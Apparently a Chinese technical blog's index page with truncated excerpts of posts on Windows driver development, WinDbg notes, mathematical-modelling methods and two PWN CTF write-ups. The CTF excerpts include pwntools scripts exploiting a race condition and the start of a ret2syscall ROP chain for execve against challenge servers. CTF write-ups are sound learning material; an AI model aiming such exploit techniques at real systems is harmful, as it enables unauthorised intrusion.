Windows驱动开发入门-应用与内核通信
Windows驱动开发入门-应用与内核通信内核部分生成CDOIoCreateDevice内核想要与应用通信时,必须生成控制设备对象CDO。
12345678910111213141516NTSTATUS IoCreateDevice( IN PDRIVER_OBJECT DriverObject, //从DriverEntry参数获得 IN ULONG DeviceExtensionSize, //设备扩展大小 后面讲 IN OPTIONAL PUNICODE_STRING DeviceName, //设备名 可空但别 IN DEVICE_TYPE DeviceType, //设备类型 IN ULONG DeviceCharacteristics, //设备属性 IN BOOLEAN Exclusive, //是否为独占设备 OUT PDEVICE_OBJECT* DeviceObject //返回生成设备对象指针)
IoCreateDeviceSecure上面那个有默认安全属性,必须得管理员权限应用 ...
Windows驱动开发入门-时间与线程
Windows驱动开发入门-时间与线程时间KeQueryTickCount返回自系统启动后经历的步进数,不同硬件环境不同。
123VOID KeQueryTickCount( OUT PLARGE_INTEGER TickCount)
KeQueryTimeIncrement获取步进100纳秒数。
1ULONG KeQueryTimeIncrement()
例子获得系统启动后经历的毫秒数:
123456789VOID MyGetTickCount(PULONG msec) { LARGE_INTEGER tick_count = { 0 }; ULONG myinc = KeQueryTimeIncrement(); KeQueryTickCount(&tick_count); tick_count.QuadPart *= myinc; tick_count.QuadPart /= 10000; *msec = tick_count.LowPart; return;};
KeQuery ...
Windows驱动开发入门-注册表管理技术
Windows驱动开发入门-注册表管理技术创建注册表键ZwCreateKey创建一个新的注册表项或打开一个现有注册表项。
12345678910111213NTSTATUS ZwCreateKey( _Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, //KEY_ALL_ACCESS所有访问权限 KEY_READ通用读权限 KEY_WRITE通用写权限 //KEY_QUERY_VALUE读键值 KEY_SET_VALUE取键值 KEY_CREATE_SUB_KEY生成子键 KEY_ENUMERATE_SUB_KEYS枚举子键 _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Reserved_ ULONG TitleIndex, _In_opt_ PUNICODE_STRING Class, _In_ ULONG CreateOptions, //系统重启时注册表键不保留REG_OPTION_VOLATILE 保留REG_OPTION_ ...
数模竞赛-预测方法
数模竞赛-预测方法灰色预测模型$\operatorname{GM}(1,1)$只适合具有较强指数规律的序列,$\operatorname{GM}(2,1)$、DGM和Verhulst模型适用于非单调摆动发展序列或有饱和S形序列。
$\operatorname{GM}(1,1)$预测方法$\operatorname{GM}(1,1)$预测模型定义:
$1$阶微分方程,只含$1$个变量。
已知参考数列$\overrightarrow{x}^{(0)}=\left(x^{(0)}(1),x^{(0)}(2),\cdots,x^{(0)}(n)\right)$,$1$次累加生成序列1-AGO定义为$\overrightarrow{x}^{(1)}=\left(x^{(1)}(1),x^{(1)}(2),\cdots,x^{(1)}(n)\right)$,式中$\displaystyle x^{(1)}(k)=\sum_{i=1}^kx^{(0)}(i),1\leqslant k\leqslant n$,且$\overrightarrow{x}^{(1)} ...
数模竞赛-插值与拟合
数模竞赛-插值与拟合插值方法待定系数法插值略。
拉格朗日插值例题1:
已知未知函数$y=f(x)$的$6$个观测点,求插值函数$y=\hat{f}(x)$,并求$x=1.5,2.6$处函数估计值。
代码:
1234567import numpy,scipyx0=numpy.arange(1,7)y0=numpy.array([16,18,21,17,15,12])p=scipy.interpolate.lagrange(x0,y0)print(numpy.round(p,4)) #高次幂到低次幂系数yh=numpy.polyval(p,[1.5,2.6])print(numpy.round(yh,4))
牛顿插值略。
分段线性插值龙格震荡现象:
例题2:在区间$[-5,5]$上,用$n+1$个等距节点作多项式$P_n(x)$,使得它在节点处的值与函数$y=\dfrac{1}{1+x^2}$在对应节点处的值相等,考查$n=6,8,10$时,多项式次数与逼近误差的关系。
代码:
1234567891011121314151617impor ...
PWN入门-多线程竞争做题
PWN入门-多线程竞争做题[NISACTF 2022]shop_pwn函数sale和buy中都用pthread_create创建新线程,但只有to_sale函数中存在usleep可利用延时进行条件竞争。
连续两次快速卖出即可,实践证明加上recvuntil后时间就卡不进去。
12345678910from pwn import *context(os='linux',arch='amd64',log_level='debug')p=remote("node5.anna.nssctf.cn",28653)p.sendline(b'3')p.sendline(b'0')p.sendline(b'3')p.sendline(b'0')p.sendline(b'2')p.sendline(b'1')p.interactive()
PWN入门-ret2syscall做题
PWN入门-ret2syscall做题[CISCN 2023 初赛]烧烤摊儿x86下syscall的中断方法为int 0x80,x64下为syscall。
在x86下execve的系统调用号为0x0B,保存在eax,传参分别在ebx、ecx、edx。
在x64下execve的系统调用号为0x3B,保存在rax,传参分别在rdi、rsi、rdx。
这道题是x64。
至于钱不够可以买负数瓶啤酒。
1234567891011121314151617181920212223242526from pwn import *context(arch='amd64',os='linux',log_level='debug')p=remote('node4.anna.nssctf.cn',28543)elf=ELF('./attachment')rop=ROP(elf)p.recvuntil('> ')p.sendline(b'1')p.sendline(b& ...
深入解析Windows操作系统读书笔记
深入解析Windows操作系统读书笔记系统架构内核处理器控制区(KPCR)包含中断分发表IDT、任务状态段TSS、全局描述符GDT、中断控制器状态等。
还包括内核处理器控制块KPRCB,包含与处理器有关的统计信息。
123456dt nt!_KPCR @$pcr #观察KPCR内容!pcr #观察KPCR内容!prcb #默认观察0号处理器KPRCB!prcb 2 #观察2号处理器KPRCB!prcbkernel #观察KPRCB内容dt nt!_KPRCB fffff80004b97180 MHz #观察处理器频率
实例:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667680: kd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 GdtBase : Ptr64 _KGDTENTRY64 ...
格蠹汇编读书笔记
格蠹汇编读书笔记从堆里抢救丢失的博客查看进程模块:
1lm
罗列进程的线程:
1~
罗列堆:
1!heap
列出用户态空间所有区域:
1!address
搜索,-u表示支持Unicode模式,从地址10000搜索长度80000:
1s -u 10000 L80000 "当年在交大"
转成Unicode模式看数据,长度1000,但长度一般是读到Unicode结尾:
1dU 001b5942 L1000
观察esp值:
1r esp
确定某个地址是否在堆上以及属性:
1!address 0728988a
如果无法以Unicode模式导出的话,添加两字节的Unicode起始符以正常识别Unicode编码。
1eb 001b5942-8 ff fe
数据保存为文件。
1.writemem D:\log.txt 001b5942-8 L1458
修复因误杀而瘫痪的系统运行,当系统启动失败时WInDBG触发“Bugcheck Analysis”,最后一行“Bugcheck”字样后第一个数字为停止码,需要在WinDBG帮助文件中查询,查到“STATUS_SYS ...
Windows核心编程2-丹
Windows核心编程2-丹进程获取自身模块基地址的三种方法1234567891011121314151617181920#include <tchar.h>extern "C" const IMAGE_DOS_HEADER __ImageBase;VOID DumpModule(VOID) { //法一 HMODULE hModule = ::GetModuleHandle(NULL); _tprintf(TEXT("0x%x\r\n"),(LONG)hModule); //法二 _tprintf(TEXT("0x%x\r\n"), (LONG)&__ImageBase); //法三 hModule = NULL; ::GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (PCTSTR)DumpModule, &hModule); _tprintf(TEXT("0x%x\r\n"), hModule); ...